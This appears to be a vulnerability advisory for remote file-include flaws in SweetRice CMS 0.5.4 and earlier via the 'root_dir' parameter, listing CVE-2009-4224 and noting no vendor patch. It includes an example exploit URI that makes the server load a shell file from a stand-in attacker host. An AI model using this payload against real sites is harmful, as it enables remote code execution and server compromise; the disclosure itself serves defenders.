SweetRice 'root_dir' Parameter Multiple Remote File Include Vulnerabilities

Bugtraq ID:	41825
Class:	Input Validation Error
CVE:	CVE-2009-4224
Remote:	Yes
Local:	No
Published:	Nov 29 2009 12:00AM
Updated:	Nov 29 2009 12:00AM
Credit:	cr4wl3r
Vulnerable:	Sweetrice Sweetrice 0.5.4 Sweetrice Sweetrice 0.5.3 Sweetrice Sweetrice 0.5
Not Vulnerable:

SweetRice 'root_dir' Parameter Multiple Remote File Include Vulnerabilities

SweetRice is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

SweetRice 0.5.4 and prior are vulnerable.

SweetRice 'root_dir' Parameter Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URI is available:

http://www.example.com/_plugin/subscriber/inc/post.php?root_dir=http://[attacker]/shell.txt???

SweetRice 'root_dir' Parameter Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

SweetRice 'root_dir' Parameter Multiple Remote File Include Vulnerabilities

References:

• Sweetrice Homepage (Sweetrice)